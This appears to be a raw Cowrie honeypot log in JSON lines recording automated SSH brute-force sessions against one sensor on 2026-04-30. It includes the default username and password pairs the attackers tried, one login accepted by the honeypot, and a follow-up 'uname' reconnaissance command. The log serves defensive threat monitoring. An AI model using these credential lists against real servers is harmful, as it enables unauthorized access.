{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40884,"dst_ip":"159.203.135.109","dst_port":22,"session":"b07825dfbc4a","protocol":"ssh","message":"New connection: 192.109.200.78:40884 (159.203.135.109:22) [session: b07825dfbc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:31.056572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:31.100242Z","src_ip":"192.109.200.78","session":"b07825dfbc4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:31.153919Z","src_ip":"192.109.200.78","session":"b07825dfbc4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:31.458246Z","src_ip":"192.109.200.78","session":"b07825dfbc4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44274,"dst_ip":"159.203.135.109","dst_port":22,"session":"84d727547978","protocol":"ssh","message":"New connection: 176.65.139.95:44274 (159.203.135.109:22) [session: 84d727547978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:32.156703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:32.233870Z","src_ip":"176.65.139.95","session":"84d727547978","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:32.271692Z","src_ip":"176.65.139.95","session":"84d727547978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:32.542859Z","src_ip":"192.109.200.78","session":"b07825dfbc4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:32.720371Z","src_ip":"176.65.139.95","session":"84d727547978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:33.813882Z","src_ip":"176.65.139.95","session":"84d727547978","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40890,"dst_ip":"159.203.135.109","dst_port":22,"session":"42a0715b66e9","protocol":"ssh","message":"New connection: 192.109.200.78:40890 (159.203.135.109:22) [session: 42a0715b66e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:34.979442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:34.984054Z","src_ip":"192.109.200.78","session":"42a0715b66e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:35.067914Z","src_ip":"192.109.200.78","session":"42a0715b66e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:35.314822Z","src_ip":"192.109.200.78","session":"42a0715b66e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:36.400724Z","src_ip":"192.109.200.78","session":"42a0715b66e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45218,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6c99395e686","protocol":"ssh","message":"New connection: 176.65.139.95:45218 (159.203.135.109:22) [session: f6c99395e686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:38.785263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:38.790666Z","src_ip":"176.65.139.95","session":"f6c99395e686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:38.890152Z","src_ip":"176.65.139.95","session":"f6c99395e686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49494,"dst_ip":"159.203.135.109","dst_port":22,"session":"df4cef30688c","protocol":"ssh","message":"New connection: 192.109.200.78:49494 (159.203.135.109:22) [session: df4cef30688c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:39.046103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:39.052641Z","src_ip":"192.109.200.78","session":"df4cef30688c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:39.136123Z","src_ip":"192.109.200.78","session":"df4cef30688c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:39.172529Z","src_ip":"176.65.139.95","session":"f6c99395e686","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:39.389647Z","src_ip":"176.65.139.95","session":"f6c99395e686","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:39.393045Z","src_ip":"176.65.139.95","session":"f6c99395e686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:39.400230Z","src_ip":"192.109.200.78","session":"df4cef30688c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:39.477942Z","src_ip":"176.65.139.95","session":"f6c99395e686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:39.482526Z","src_ip":"176.65.139.95","session":"f6c99395e686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:40.640581Z","src_ip":"192.109.200.78","session":"df4cef30688c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49498,"dst_ip":"159.203.135.109","dst_port":22,"session":"58386b1ba511","protocol":"ssh","message":"New connection: 192.109.200.78:49498 (159.203.135.109:22) [session: 58386b1ba511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:43.053002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:43.202227Z","src_ip":"192.109.200.78","session":"58386b1ba511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:43.517270Z","src_ip":"192.109.200.78","session":"58386b1ba511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:43.766619Z","src_ip":"192.109.200.78","session":"58386b1ba511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:44.852113Z","src_ip":"192.109.200.78","session":"58386b1ba511","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45220,"dst_ip":"159.203.135.109","dst_port":22,"session":"67e0da7094d5","protocol":"ssh","message":"New connection: 176.65.139.95:45220 (159.203.135.109:22) [session: 67e0da7094d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:45.303221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:45.308284Z","src_ip":"176.65.139.95","session":"67e0da7094d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:45.400533Z","src_ip":"176.65.139.95","session":"67e0da7094d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:46.070449Z","src_ip":"176.65.139.95","session":"67e0da7094d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49512,"dst_ip":"159.203.135.109","dst_port":22,"session":"372b2cb53dbe","protocol":"ssh","message":"New connection: 192.109.200.78:49512 (159.203.135.109:22) [session: 372b2cb53dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:47.106318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:47.110971Z","src_ip":"192.109.200.78","session":"372b2cb53dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:47.168475Z","src_ip":"176.65.139.95","session":"67e0da7094d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:47.196064Z","src_ip":"192.109.200.78","session":"372b2cb53dbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:47.442218Z","src_ip":"192.109.200.78","session":"372b2cb53dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:48.536942Z","src_ip":"192.109.200.78","session":"372b2cb53dbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45766,"dst_ip":"159.203.135.109","dst_port":22,"session":"f224ee468010","protocol":"ssh","message":"New connection: 192.109.200.78:45766 (159.203.135.109:22) [session: f224ee468010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:51.230177Z"}
